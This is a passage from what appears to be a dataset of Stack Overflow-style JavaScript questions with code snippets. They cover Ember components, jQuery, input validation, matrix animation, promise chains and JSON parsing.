isGreaterThan ( value , original ) { return value < original ; } [ 1 , 2 , 3 , 4 ] .filter ( isGreaterThan.bind ( null , 2 ) ) ; // [ 3 , 4 ]",What is the best way to create simple filter functions in javascript ? "JS : A few years ago Dean Edwards brought us this workaround to the document.onload problem . The IE version of the solution involved appending this snippet to the document : Dean was also pretty adamant on the fact that this was the closest solution to perfection he could find and dismissed any solution that involved the onreadystatechange attribute as being unreliable ( see comments ) . Subsequent refinements on his solution still involved some version of < script defer > and most JS framework implemented it , including jQuery.Today , I 'm perusing JQuery 1.4.1 's source and I ca n't find it . At which point was it dropped and why ? < script defer src=ie_onload.js > < \/script > ;",What happened to the `` < script defer > '' hack in JQuery ? "JS : I 'm having trouble with { { actions } } on Ember ( 1.11.0 ) components not being triggered when the component has been added to the page dynamically . Oddly enough , it seems to be related to how the ember application has been added to the page - via the default template vs. added to a `` rootElement '' .Working JSBin : actions are triggeredNon-Working JSBin : actions are n't triggeredMy Component Definition : The click ( ) event and doIt ( ) action are n't triggered when the component has been added to the page dynamically . I 'm using append ( ) method to add the component to the page : In either case , actions are properly triggered when the component is part of the template : < script type= '' text/x-handlebars '' data-template-name= '' components/foo-bar '' > < p > Component { { name } } < /p > < button { { action `` doIt '' } } > Do It < /button > < /script > App.FooBarComponent = Ember.Component.extend ( { click : function ( ) { console.log ( 'click fired ! - ' + this.get ( 'name ' ) ) ; } , actions : { doIt : function ( ) { console.log ( 'doIt fired ! - ' + this.get ( 'name ' ) ) ; } } } ) ; App.IndexController = Ember.Controller.extend ( { count : 1 , actions : { createNewFoobBar : function ( ) { this.set ( 'count ' , this.get ( 'count ' ) + 1 ) ; var comp = this.container.lookup ( 'component : foo-bar ' ) ; comp.set ( 'name ' , this.get ( 'count ' ) ) ; comp.set ( 'controller ' , this ) ; comp.append ( ) ; } } } ) ; { { foo-bar name= '' one '' } }",Ember : Dynamically created component actions do n't fire "JS : Using input.validity.valid , why does my number input return valid for the value 0. in this scenario ? Chrome 37.0.2062.103 mjsFiddleEdit : Oddly , any negative number with a period at the end also breaks the validation : jsFiddle < input type= '' number '' min= '' 1 '' max= '' 999 '' step= '' 1 '' value= '' 0 . '' id= '' one '' / > < ! -- Valid ? ? -- > < input type= '' number '' min= '' 1 '' max= '' 999 '' step= '' 1 '' value= '' 0.0 '' id= '' two '' / > < ! -- fine -- > < input type= '' number '' min= '' 1 '' max= '' 999 '' step= '' 1 '' value= '' 0 '' id= '' three '' / > < ! -- fine -- > < input type= '' number '' min= '' 1 '' max= '' 999 '' step= '' 1 '' value= '' -14 . '' id= '' one '' / >",Why is this input valid "JS : I have a 3x3 matrix ( startMatrix ) , which represents the actual view of an image ( translation , rotation and scale ) . Now I create a new matrix ( endMatrix ) with an identitymatrix , new x- and y-coordinates , new angle and new scale like : And the functions ( standard stuff ) After that i transform the image with css transform matrix3d ( 3d only for hardware acceleration ) . This transform is animated with requestAnimationFrame.My startMatrix is for exampleAnd The endMatrix The linear combination looks like : With t going from 0 to 1The result of the linear combination of transformation matrices ( the resulting image position ) is correct , my problem now is : If the new angle is about 180 degree different from the actual angle , the endMatrix values change from positive to negative ( or the other way around ) . This leads to an zoom-in zoom-out effect in the animation of the transformed image.Is there a way to prevent this preferably with using one matrix for transforming ? endMatrix = translate ( identityMatrix , -x , -y ) ; endMatrix = rotate ( endMatrix , angle ) ; endMatrix = scale ( endMatrix , scale ) ; endMatrix = translate ( endMatrix , ( screen.width/2 ) /scale , screen.height/2 ) /scale ) ; function scale ( m , s ) { var n = new Matrix ( [ [ s , 0 , 0 ] , [ 0 , s , 0 ] , [ 0 , 0 , s ] ] ) ; return n.multiply ( m ) ; } function rotate ( m , theta ) { var n = new Matrix ( [ [ Math.cos ( theta ) , -Math.sin ( theta ) , 0 ] , [ Math.sin ( theta ) , Math.cos ( theta ) , 0 ] , [ 0 , 0 , 1 ] ] ) ; return n.multiply ( m ) ; } function translate ( m , x , y ) { var n = new Matrix ( [ [ 1 , 0 , x ] , [ 0 , 1 , y ] , [ 0 , 0 , 1 ] ] ) ; return n.multiply ( m ) ; }",Rotational Animation by Linear Combination of Transformation Matrices leads to Zoom-In-Zoom-Out "JS : I am making a jquery calculator , where by clicking on buttons that represent the numbers and operators on a calculator , the display 's innerHTML would change to reflect the buttons clicked.Below is my code : and here is the jsfiddle of it : http : //jsfiddle.net/ynf2qvqw/Why is the innerHTML of the display class not changing ? < ! doctype html > < html > < head > < meta charset= '' utf-8 '' > < script src= '' https : //code.jquery.com/jquery-2.1.4.min.js '' > < /script > < title > JQuery Calculator < /title > < /head > < body > < style > section { padding : 2em ; } .display { height : 5em ; color : # 333 ; } < /style > < section id= '' calculator '' > < div class= '' display '' > < /div > < div id= '' numbersContainer '' > < table id= '' numbers '' > < tr > < td > < button class= '' number '' id= '' one '' > 1 < /button > < /td > < td > < button class= '' number '' id= '' two '' > 2 < /button > < /td > < td > < button class= '' number '' id= '' three '' > 3 < /button > < /td > < /tr > < tr > < td > < button class= '' number '' id= '' four '' > 4 < /button > < /td > < td > < button class= '' number '' id= '' five '' > 5 < /button > < /td > < td > < button class= '' number '' id= '' six '' > 6 < /button > < /td > < /tr > < tr > < td > < button class= '' number '' id= '' seven '' > 7 < /button > < /td > < td > < button class= '' number '' id= '' eight '' > 8 < /button > < /td > < td > < button class= '' number '' id= '' nine '' > 9 < /button > < /td > < /tr > < tr > < td > < button class= '' number '' id= '' zero '' > 0 < /button > < /td > < /tr > < /table > < table id= '' operators '' > < tr > < td > < button class= '' operator '' id= '' plus '' > + < /button > < /td > < td > < button class= '' operator '' id= '' minus '' > - < /button > < /td > < /tr > < tr > < td > < button class= '' operator '' id= '' divide '' > / < /button > < /td > < td > < button class= '' operator '' id= '' times '' > x < /button > < /td > < /tr > < /table > < /div > < /section > < script > var storedCalculation ; $ ( '.number , .operator ' ) .click ( function ( ) { var numberOrOperator = event.target.innerHTML ; storedCalculation+=numberOrOperator ; } ) ; var calcScreen = $ ( '.display ' ) .innerHTML ; calcScreen = storedCalculation ; < /script > < /body > < /html >","Making a JQuery calculator , changing innerHTML but nothing is happening" JS : How to make a element draggable without using jQuery UI ? I have this code : The problem is that I want to drag while the user the pressing the mouse button . I tried onmousedown but results were negative . < script type= '' text/javascript '' > function show_coords ( event ) { var x=event.clientX ; var y=event.clientY ; var drag=document.getElementById ( 'drag ' ) ; drag.style.left=x ; drag.style.top=y } < /script > < body style= '' height:100 % ; width:100 % '' onmousemove= '' show_coords ( event ) '' > < p id= '' drag '' style= '' position : absolute '' > drag me < /p > < /body >,draggable without jQuery ui "JS : Lodash _.pluck does thisGood thing about it is it can also go deep like this : Is there equivalent in Clojure core of this ? I mean , I can easily create one line somewhat like thisAnd use it like this : I was just wondering if there 's such thing already included in Clojure and I overlooked it . var users = [ { 'user ' : 'barney ' , 'age ' : 36 } , { 'user ' : 'fred ' , 'age ' : 40 } ] ; _.pluck ( users , 'user ' ) ; // → [ 'barney ' , 'fred ' ] var users = [ { 'user ' : { name : 'barney ' } , 'age ' : 36 } , { 'user ' : { name : 'fred ' } , 'age ' : 40 } ] ; _.pluck ( users , 'user.name ' ) ; // [ `` barney '' , `` fred '' ] ( defn pluck [ collection path ] ( map # ( get-in % path ) collection ) ) ( def my-coll [ { : a { : z 1 } } { : a { : z 2 } } ] ) ( pluck my-coll [ : a : z ] ) = > ( 1 2 )",What is clojure.core equivalent of lodash _.pluck "JS : I 'm experimenting with functional programming using an array of objects . I want to understand if there is a better or cleaner way to execute a series of functions that takes values and updates variables based on conditions . Like the use of the globally scoped variables , is this frowned upon ? Is there anyway I could pass lets say the count of the number of dogs to the `` updateDogsAmt '' function ? And so on ... Is there a better way I could have done this ? I have divided out these functions between what I think is updating the DOM and logic . Demo : JSFIDDLE const animals = [ { name : 'Zack ' , type : 'dog ' } , { name : 'Mike ' , type : 'fish ' } , { name : 'Amy ' , type : 'cow ' } , { name : 'Chris ' , type : 'cat ' } , { name : 'Zoe ' , type : 'dog ' } , { name : 'Nicky ' , type : 'cat ' } , { name : 'Cherry ' , type : 'dog ' } ] let dogs = [ ] ; function getDogs ( ) { //return only dogs animals.map ( ( animal ) = > { if ( animal.type === `` dog '' ) { dogs.push ( animal ) ; } } ) ; } getDogs ( ) ; let dogsAmt = 0 ; function getDogsAmt ( ) { //get dogs amount dogsAmt = dogs.length ; } getDogsAmt ( ) ; function updateDogsAmt ( ) { //update dom with dogs count let dogsHTML = document.getElementById ( 'dogs-amt ' ) ; dogsHTML.innerHTML = dogsAmt ; } updateDogsAmt ( ) ; let otherAnimals = [ ] ; function getOtherAnimals ( ) { //return other animals count animals.map ( ( animal ) = > { if ( animal.type ! = `` dog '' ) { otherAnimals.push ( animal ) ; } } ) ; } getOtherAnimals ( ) ; let otherAnimalsAmt = 0 ; function getOtherAnimalsAmt ( ) { otherAnimalsAmt = otherAnimals.length ; } getOtherAnimalsAmt ( ) ; function updateOtherAnimalsAmt ( ) { //udate dom with other animals let otherAmt = document.getElementById ( 'other-amt ' ) ; otherAmt.innerHTML = otherAnimalsAmt ; } updateOtherAnimalsAmt ( ) ;",Javascript Functional Programming | Functions "JS : I was trying to get a parallax effect on my website 's landing page . I used the interactive_bg.js plugin and working backwards from the demo tutorial I was finally able to get the picture I want with the desired effect.Here 's my code : HTML - CSS - Js - I reverse engineered the tutorial files to find this code.Now the problem is , anything that I put into the < div class= '' wrapper bg '' data-ibg-bg= '' pics/Q.jpg '' > messes up the picture . Any div I want to put after the < div class= '' wrapper bg '' data-ibg-bg= '' pics/Q.jpg '' > div does n't even show up on the screen but is rather behind the background image.How do I put text and other divs on the < div class= '' wrapper bg '' data-ibg-bg= '' pics/Q.jpg '' > div and more content after that div ends ? I have tried z-index and positioning ( by looking at the code from the tutorial ) . It does n't seem to work.Also , the CSS only works when I put it in a style tag inside the < head > of the HTML . If I put the CSS in a separate file it does n't work . ( I did link the CSS to the HTML correctly ) P.S refer to the tutorial I linked above , it 'll get you an idea.UPDATE : I made some changes to the HTML and now I have text over the image . And the text is n't moving anymore but adds a white space on top . I tried margin but it did n't remove the white space . I still ca n't add anything below the image.HTML-CSS - < body > < div class= '' wrapper bg '' data-ibg-bg= '' pics/Q.jpg '' > < /div > < /body > html { height : 100 % ; } body { padding : 0 ; text-align : center ; font-family : 'open sans ' ; position : relative ; margin : 0 ; height : 100 % ; } .wrapper { // this class is n't really needed but I thought it may help when putting other elements atop this div . height : auto ! important ; height : 100 % ; margin : 0 auto ; overflow : hidden ; } .bg { position : absolute ; min-height : 100 % ! important ; width : 100 % ; z-index : 0 ; } .ibg-bg { position : absolute ; } $ ( document ) .ready ( function ( ) { $ ( `` .bg '' ) .interactive_bg ( { strength : 20 , scale : 1.00 , contain : false , wrapContent : true } ) ; } ) ; $ ( window ) .resize ( function ( ) { $ ( `` .wrapper > .ibg-bg '' ) .css ( { width : $ ( window ) .outerWidth ( ) , height : $ ( window ) .outerHeight ( ) } ) } ) < body > < div class= '' wrapper bg '' data-ibg-bg= '' pics/Q.jpg '' > < /div > < div class= '' main '' > < h1 > SOME TEXT < /h1 > < /div > < /body > # main { position : relative ; }",Working with interactive-background.js "JS : I have node v0.10.28 installed along with V8 v3.14.5.9 on Fedora 19 . The issue I am having is with methods that have a thisArg optional argument , like Array.prototype.forEach.If I execute the following code on Chromium v33 or Firefox v28 - jsFiddleI get an output ofAnd then the same code but in strict mode - jsFiddleI get an outputThese are the results that I would expect as per the ECMA5 specification sec-function.prototype.call . The thisArg value is passed without modification as the this value . This is a change from Edition 3 , where an undefined or null thisArg is replaced with the global object and ToObject is applied to all other values and that result is passed as the this value . Even though the thisArg is passed without modification , non-strict mode functions still perform these transfromations upon entry to the function.and for example sec-array.prototype.foreach If a thisArg parameter is provided , it will be used as the this value for each invocation of callbackfn . If it is not provided , undefined is used instead.and relevant pseudo codeOn node , however , both the above snippets returnCan anyone confirm whether this is an issue with my node environment , or if this is a problem with node ? Update : just to confirm , in both cases on node typeof this returns object . var y = [ 1 , 2 , 3 ] ; y.forEach ( function ( element ) { console.log ( this ) ; } , 'hej ' ) ; String { 0 : `` h '' , 1 : `` e '' , 2 : `` j '' , length : 3 } String { 0 : `` h '' , 1 : `` e '' , 2 : `` j '' , length : 3 } String { 0 : `` h '' , 1 : `` e '' , 2 : `` j '' , length : 3 } var y = [ 1 , 2 , 3 ] ; y.forEach ( function ( element ) { 'use strict ' ; console.log ( this ) ; } , 'hej ' ) ; hejhejhej Let funcResult be the result of calling the [ [ Call ] ] internal method of callbackfn with T as thisArgument and a List containing kValue , k , and O as argumentsList . { ' 0 ' : ' h ' , ' 1 ' : ' e ' , ' 2 ' : ' j ' } { ' 0 ' : ' h ' , ' 1 ' : ' e ' , ' 2 ' : ' j ' } { ' 0 ' : ' h ' , ' 1 ' : ' e ' , ' 2 ' : ' j ' }",Nodejs methods with 'thisArg ' and 'use strict ' ; issue "JS : I am writing some bookmarklets here and I have some questions related to built-in javascript functions.Let 's say I want to replace the built-in prompt function ( not necessarily in a bookmarklet ) . That seems easy enough , but is there a way to call the builtin prompt function from within this replacement ? I could n't get the scoping to work out right ; this example yields infinite recursion.Also is there a way to restore the default behavior of a builtin javascript function that has been replaced ( without hanging on to an extra reference ) . prompt = function ( message ) { var tmp = prompt ( message ) ; hook ( tmp ) ; return tmp ; }",non-recursively replace built-in javascript functions "JS : I 'm working on a virtual keyboard which would work same as the on-screen keyboard in windows.Question : I 'm looking to add the functionality of a swype keyboard , where the user enters words by dragging from the first letter of a word to its last letter using mouse . Is it possible to achieve this with a mouse ? Problem : I have tried this with jQuery swipe event so far where I have multiple li as keys and while dragging from a key to another the text of a single li element is what I 'm getting . How to get all the key values where ever the mouse pointer passes by while dragging , something like this from Android swype keyboard ? Check this Fiddle Demo $ ( `` li '' ) .on ( `` swipe '' , function ( ) { $ ( ' # input ' ) .append ( $ ( this ) .text ( ) ) ; } ) ; $ ( document ) .ready ( function ( ) { $ ( `` li '' ) .on ( `` swipe '' , function ( ) { $ ( ' # input ' ) .append ( $ ( this ) .text ( ) ) ; } ) ; } ) ; * { margin : 0 ; padding : 0 ; } body { font : 71 % /1.5 Verdana , Sans-Serif ; background : # eee ; } # container { margin : 100px auto ; width : 688px ; } # write { margin : 0 0 5px ; padding : 5px ; width : 671px ; height : 200px ; font : 1em/1.5 Verdana , Sans-Serif ; background : # fff ; border : 1px solid # f9f9f9 ; -moz-border-radius : 5px ; -webkit-border-radius : 5px ; } # keyboard { margin : 0 ; padding : 0 ; list-style : none ; -webkit-user-select : none ; -moz-user-select : none ; -ms-user-select : none ; user-select : none ; } # keyboard li { float : left ; margin : 0 5px 5px 0 ; width : 40px ; height : 40px ; line-height : 40px ; text-align : center ; background : # 777 ; color : # eaeaea ; border : 1px solid # f9f9f9 ; border-radius : 10px ; } .capslock , .tab , .left-shift { clear : left ; } # keyboard .tab , # keyboard .delete { width : 70px ; } # keyboard .capslock { width : 80px ; } # keyboard .return { width : 77px ; } # keyboard .left-shift { width : 95px ; } # keyboard .right-shift { width : 109px ; } .lastitem { margin-right : 0 ; } .uppercase { text-transform : uppercase ; } # keyboard .space { clear : left ; width : 681px ; } .on { display : none ; } # keyboard li : hover { position : relative ; top : 1px ; left : 1px ; border-color : # e5e5e5 ; cursor : pointer ; } li p { display : block ! important ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < script src= '' https : //code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js '' > < /script > < link href= '' https : //code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.css '' rel= '' stylesheet '' / > < div data-role= '' page '' id= '' pageone '' > < div id= '' container '' > < textarea id= '' input '' rows= '' 6 '' cols= '' 60 '' > < /textarea > < ul id= '' keyboard '' > < li class= '' symbol '' > < p > ` < /p > < /li > < li class= '' symbol '' > < p > 1 < /p > < /li > < li class= '' symbol '' > < p > 2 < /p > < /li > < li class= '' symbol '' > < p > 3 < /p > < /li > < li class= '' symbol '' > < p > 4 < /p > < /li > < li class= '' symbol '' > < p > 5 < /p > < /li > < li class= '' symbol '' > < p > 6 < /p > < /li > < li class= '' symbol '' > < p > 7 < /p > < /li > < li class= '' symbol '' > < p > 8 < /p > < /li > < li class= '' symbol '' > < p > 9 < /p > < /li > < li class= '' symbol '' > < p > 0 < /p > < /li > < li class= '' symbol '' > < p > - < /p > < /li > < li class= '' symbol '' > < p > = < /p > < /li > < li class= '' delete lastitem '' > < p > delete < /p > < /li > < li class= '' tab '' > < p > tab < /p > < /li > < li class= '' letter '' > < p > q < /p > < /li > < li class= '' letter '' > < p > w < /p > < /li > < li class= '' letter '' > < p > e < /p > < /li > < li class= '' letter '' > < p > r < /p > < /li > < li class= '' letter '' > < p > t < /p > < /li > < li class= '' letter '' > < p > y < /p > < /li > < li class= '' letter '' > < p > u < /p > < /li > < li class= '' letter '' > < p > i < /p > < /li > < li class= '' letter '' > < p > o < /p > < /li > < li class= '' letter '' > < p > p < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > [ < /span > < span class= '' on '' > { < /span > < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > ] < /span > < span class= '' on '' > } < /span > < /p > < /li > < li class= '' symbol lastitem '' > < p > < span class= '' off '' > \ < /span > < span class= '' on '' > | < /span > < /p > < /li > < li class= '' capslock '' > < p > caps lock < /p > < /li > < li class= '' letter '' > < p > a < /p > < /li > < li class= '' letter '' > < p > s < /p > < /li > < li class= '' letter '' > < p > d < /p > < /li > < li class= '' letter '' > < p > f < /p > < /li > < li class= '' letter '' > < p > g < /p > < /li > < li class= '' letter '' > < p > h < /p > < /li > < li class= '' letter '' > < p > j < /p > < /li > < li class= '' letter '' > < p > k < /p > < /li > < li class= '' letter '' > < p > l < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > ; < /span > < span class= '' on '' > : < /span > < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > ' < /span > < span class= '' on '' > & quot ; < /span > < /p > < /li > < li class= '' return lastitem '' > < p > return < /p > < /li > < li class= '' left-shift '' > < p > shift < /p > < /li > < li class= '' letter '' > < p > z < /p > < /li > < li class= '' letter '' > < p > x < /p > < /li > < li class= '' letter '' > < p > c < /p > < /li > < li class= '' letter '' > < p > v < /p > < /li > < li class= '' letter '' > < p > b < /p > < /li > < li class= '' letter '' > < p > n < /p > < /li > < li class= '' letter '' > < p > m < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > , < /span > < span class= '' on '' > & lt ; < /span > < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > . < /span > < span class= '' on '' > & gt ; < /span > < /p > < /li > < li class= '' symbol '' > < p > < span class= '' off '' > / < /span > < span class= '' on '' > ? < /span > < /p > < /li > < li class= '' right-shift lastitem '' > < p > shift < /p > < /li > < /ul > < /div > < /div >",Get the li value if the mouse pointer passes over it with mousedown using jQuery ? "JS : I have a string representation of the following array , generated from Signature Pad : I tried to convert it to an array : But I get the following error message : What am I doing wrong ? I ca n't see the mistake : ( I tried pasting the exact same data without the quotes in the console and it creates an array : var myData = `` [ { lx:47 , ly:28 , mx:47 , my:27 } , { lx:47 , ly:32 , mx:47 , my:28 } , { lx:47 , ly:40 , mx:47 , my:32 } , { lx:48 , ly:50 , mx:47 , my:40 } , { lx:49 , ly:59 , mx:48 , my:50 } , { lx:49 , ly:66 , mx:49 , my:59 } , { lx:51 , ly:72 , mx:49 , my:66 } , { lx:54 , ly:76 , mx:51 , my:72 } , { lx:56 , ly:76 , mx:54 , my:76 } , { lx:58 , ly:76 , mx:56 , my:76 } , { lx:59 , ly:76 , mx:58 , my:76 } , { lx:61 , ly:76 , mx:59 , my:76 } , { lx:62 , ly:76 , mx:61 , my:76 } , { lx:64 , ly:76 , mx:62 , my:76 } , { lx:66 , ly:73 , mx:64 , my:76 } , { lx:70 , ly:69 , mx:66 , my:73 } , { lx:73 , ly:64 , mx:70 , my:69 } , { lx:75 , ly:61 , mx:73 , my:64 } , { lx:79 , ly:56 , mx:75 , my:61 } , { lx:82 , ly:51 , mx:79 , my:56 } , { lx:84 , ly:46 , mx:82 , my:51 } , { lx:85 , ly:43 , mx:84 , my:46 } , { lx:87 , ly:40 , mx:85 , my:43 } , { lx:88 , ly:35 , mx:87 , my:40 } , { lx:90 , ly:34 , mx:88 , my:35 } , { lx:92 , ly:33 , mx:90 , my:34 } , { lx:93 , ly:32 , mx:92 , my:33 } , { lx:94 , ly:32 , mx:93 , my:32 } , { lx:96 , ly:33 , mx:94 , my:32 } , { lx:96 , ly:35 , mx:96 , my:33 } , { lx:99 , ly:37 , mx:96 , my:35 } , { lx:101 , ly:42 , mx:99 , my:37 } , { lx:101 , ly:46 , mx:101 , my:42 } , { lx:101 , ly:50 , mx:101 , my:46 } , { lx:101 , ly:54 , mx:101 , my:50 } , { lx:102 , ly:57 , mx:101 , my:54 } , { lx:104 , ly:58 , mx:102 , my:57 } , { lx:105 , ly:59 , mx:104 , my:58 } , { lx:107 , ly:60 , mx:105 , my:59 } , { lx:108 , ly:60 , mx:107 , my:60 } , { lx:109 , ly:60 , mx:108 , my:60 } , { lx:110 , ly:60 , mx:109 , my:60 } , { lx:112 , ly:58 , mx:110 , my:60 } , { lx:114 , ly:57 , mx:112 , my:58 } , { lx:116 , ly:54 , mx:114 , my:57 } , { lx:119 , ly:53 , mx:116 , my:54 } , { lx:120 , ly:50 , mx:119 , my:53 } , { lx:123 , ly:49 , mx:120 , my:50 } , { lx:127 , ly:48 , mx:123 , my:49 } , { lx:130 , ly:48 , mx:127 , my:48 } , { lx:132 , ly:48 , mx:130 , my:48 } , { lx:134 , ly:49 , mx:132 , my:48 } , { lx:136 , ly:50 , mx:134 , my:49 } , { lx:137 , ly:52 , mx:136 , my:50 } , { lx:139 , ly:56 , mx:137 , my:52 } , { lx:140 , ly:59 , mx:139 , my:56 } , { lx:140 , ly:60 , mx:140 , my:59 } , { lx:143 , ly:61 , mx:140 , my:60 } , { lx:144 , ly:61 , mx:143 , my:61 } , { lx:146 , ly:61 , mx:144 , my:61 } , { lx:151 , ly:61 , mx:146 , my:61 } , { lx:156 , ly:61 , mx:151 , my:61 } , { lx:161 , ly:61 , mx:156 , my:61 } , { lx:167 , ly:60 , mx:161 , my:61 } , { lx:173 , ly:60 , mx:167 , my:60 } , { lx:178 , ly:60 , mx:173 , my:60 } , { lx:185 , ly:60 , mx:178 , my:60 } , { lx:192 , ly:60 , mx:185 , my:60 } , { lx:198 , ly:60 , mx:192 , my:60 } , { lx:207 , ly:60 , mx:198 , my:60 } , { lx:214 , ly:60 , mx:207 , my:60 } , { lx:221 , ly:60 , mx:214 , my:60 } , { lx:226 , ly:60 , mx:221 , my:60 } , { lx:229 , ly:60 , mx:226 , my:60 } , { lx:233 , ly:60 , mx:229 , my:60 } , { lx:234 , ly:60 , mx:233 , my:60 } , { lx:235 , ly:60 , mx:234 , my:60 } , { lx:237 , ly:60 , mx:235 , my:60 } , { lx:238 , ly:60 , mx:237 , my:60 } , { lx:239 , ly:60 , mx:238 , my:60 } , { lx:241 , ly:60 , mx:239 , my:60 } , { lx:244 , ly:60 , mx:241 , my:60 } , { lx:245 , ly:60 , mx:244 , my:60 } , { lx:246 , ly:60 , mx:245 , my:60 } , { lx:248 , ly:59 , mx:246 , my:60 } , { lx:248 , ly:58 , mx:248 , my:59 } , { lx:248 , ly:57 , mx:248 , my:58 } ] '' ; JSON.parse ( myData ) ; SyntaxError : Unexpected token l var myData = [ { lx:47 , ly:28 , mx:47 , my:27 } , { lx:47 , ly:32 , mx:47 , my:28 } , { lx:47 , ly:40 , mx:47 , my:32 } , { lx:48 , ly:50 , mx:47 , my:40 } , { lx:49 , ly:59 , mx:48 , my:50 } , { lx:49 , ly:66 , mx:49 , my:59 } , { lx:51 , ly:72 , mx:49 , my:66 } , { lx:54 , ly:76 , mx:51 , my:72 } , { lx:56 , ly:76 , mx:54 , my:76 } , { lx:58 , ly:76 , mx:56 , my:76 } , { lx:59 , ly:76 , mx:58 , my:76 } , { lx:61 , ly:76 , mx:59 , my:76 } , { lx:62 , ly:76 , mx:61 , my:76 } , { lx:64 , ly:76 , mx:62 , my:76 } , { lx:66 , ly:73 , mx:64 , my:76 } , { lx:70 , ly:69 , mx:66 , my:73 } , { lx:73 , ly:64 , mx:70 , my:69 } , { lx:75 , ly:61 , mx:73 , my:64 } , { lx:79 , ly:56 , mx:75 , my:61 } , { lx:82 , ly:51 , mx:79 , my:56 } , { lx:84 , ly:46 , mx:82 , my:51 } , { lx:85 , ly:43 , mx:84 , my:46 } , { lx:87 , ly:40 , mx:85 , my:43 } , { lx:88 , ly:35 , mx:87 , my:40 } , { lx:90 , ly:34 , mx:88 , my:35 } , { lx:92 , ly:33 , mx:90 , my:34 } , { lx:93 , ly:32 , mx:92 , my:33 } , { lx:94 , ly:32 , mx:93 , my:32 } , { lx:96 , ly:33 , mx:94 , my:32 } , { lx:96 , ly:35 , mx:96 , my:33 } , { lx:99 , ly:37 , mx:96 , my:35 } , { lx:101 , ly:42 , mx:99 , my:37 } , { lx:101 , ly:46 , mx:101 , my:42 } , { lx:101 , ly:50 , mx:101 , my:46 } , { lx:101 , ly:54 , mx:101 , my:50 } , { lx:102 , ly:57 , mx:101 , my:54 } , { lx:104 , ly:58 , mx:102 , my:57 } , { lx:105 , ly:59 , mx:104 , my:58 } , { lx:107 , ly:60 , mx:105 , my:59 } , { lx:108 , ly:60 , mx:107 , my:60 } , { lx:109 , ly:60 , mx:108 , my:60 } , { lx:110 , ly:60 , mx:109 , my:60 } , { lx:112 , ly:58 , mx:110 , my:60 } , { lx:114 , ly:57 , mx:112 , my:58 } , { lx:116 , ly:54 , mx:114 , my:57 } , { lx:119 , ly:53 , mx:116 , my:54 } , { lx:120 , ly:50 , mx:119 , my:53 } , { lx:123 , ly:49 , mx:120 , my:50 } , { lx:127 , ly:48 , mx:123 , my:49 } , { lx:130 , ly:48 , mx:127 , my:48 } , { lx:132 , ly:48 , mx:130 , my:48 } , { lx:134 , ly:49 , mx:132 , my:48 } , { lx:136 , ly:50 , mx:134 , my:49 } , { lx:137 , ly:52 , mx:136 , my:50 } , { lx:139 , ly:56 , mx:137 , my:52 } , { lx:140 , ly:59 , mx:139 , my:56 } , { lx:140 , ly:60 , mx:140 , my:59 } , { lx:143 , ly:61 , mx:140 , my:60 } , { lx:144 , ly:61 , mx:143 , my:61 } , { lx:146 , ly:61 , mx:144 , my:61 } , { lx:151 , ly:61 , mx:146 , my:61 } , { lx:156 , ly:61 , mx:151 , my:61 } , { lx:161 , ly:61 , mx:156 , my:61 } , { lx:167 , ly:60 , mx:161 , my:61 } , { lx:173 , ly:60 , mx:167 , my:60 } , { lx:178 , ly:60 , mx:173 , my:60 } , { lx:185 , ly:60 , mx:178 , my:60 } , { lx:192 , ly:60 , mx:185 , my:60 } , { lx:198 , ly:60 , mx:192 , my:60 } , { lx:207 , ly:60 , mx:198 , my:60 } , { lx:214 , ly:60 , mx:207 , my:60 } , { lx:221 , ly:60 , mx:214 , my:60 } , { lx:226 , ly:60 , mx:221 , my:60 } , { lx:229 , ly:60 , mx:226 , my:60 } , { lx:233 , ly:60 , mx:229 , my:60 } , { lx:234 , ly:60 , mx:233 , my:60 } , { lx:235 , ly:60 , mx:234 , my:60 } , { lx:237 , ly:60 , mx:235 , my:60 } , { lx:238 , ly:60 , mx:237 , my:60 } , { lx:239 , ly:60 , mx:238 , my:60 } , { lx:241 , ly:60 , mx:239 , my:60 } , { lx:244 , ly:60 , mx:241 , my:60 } , { lx:245 , ly:60 , mx:244 , my:60 } , { lx:246 , ly:60 , mx:245 , my:60 } , { lx:248 , ly:59 , mx:246 , my:60 } , { lx:248 , ly:58 , mx:248 , my:59 } , { lx:248 , ly:57 , mx:248 , my:58 } ] ;",How can I parse this string into an array ? "JS : There are methods such as Q.reduce and Q.all that help flattening a promise chain on the specific case of heterogeneous collections of promises . Mind , though , the generic case : That is , a sequence of assignments on which each term depends on arbitrary previously defined terms . Suppose that F is an asynchronous call : I can think in no way to express that pattern without generating an indentation pyramid : Note that using returned values would n't work : Since , for example , a would n't be in scope on the second line . What is the proper way to deal with this situation ? const F = ( x ) = > x ; const a = F ( 1 ) ; const b = F ( 2 ) ; const c = F ( a + b ) ; const d = F ( a + c ) ; const e = F ( b + c ) ; console.log ( e ) ; const F = ( x ) = > Q.delay ( 1000 ) .return ( x ) ; F ( 100 ) .then ( a = > F ( 200 ) .then ( b = > F ( a+b ) .then ( c = > F ( a+c ) .then ( d = > F ( b+c ) .then ( e = > F ( d+e ) .then ( f = > console.log ( f ) ) ) ) ) ) ) ; F ( 100 ) .then ( a = > F ( 200 ) ) .then ( b = > F ( a+b ) ) .then ( c = > F ( a+c ) ) .then ( d = > F ( b+c ) ) .then ( e = > F ( d+e ) ) .then ( f = > console.log ( f ) ) ;",How to correctly express arbitrary Promise chains without `` indentation pyramids '' ? "JS : I 'm in trouble with a nasty JSON object that I need to convert to JS object with variable depth.Shortly : ( I 'm using jQuery ) Now , I need to convert that nastyJSON to a JS object with variable depth . I mean : My best is to create it manually , looping nastyJSON , switch-casing keys and creating objects adding values at the end of the well-known depth.Like this : But , what if I do not know at first the nastyJSON structure , and I only know that nastyJSON has keys I had to split and nest until the end of the split ? Thanks in advance . var nastyJSON_string = `` { `` generics_utenteID '' : '' 1 '' , '' generics_elencoID '' : '' 1 '' , '' mainbar_ade_stepID_0 '' : '' 1 '' , '' mainbar_ade_stepID_1 '' : '' 3 '' , '' mainbar_ade_stepTitle_0 '' : '' blablabla '' , `` mainbar_ade_stepTitle_1 '' : `` quiquoqua '' } '' ; var nastyJSON = JSON.parse ( nastyJSON_string ) ; // nastyJSON if parsed correctly now is : { 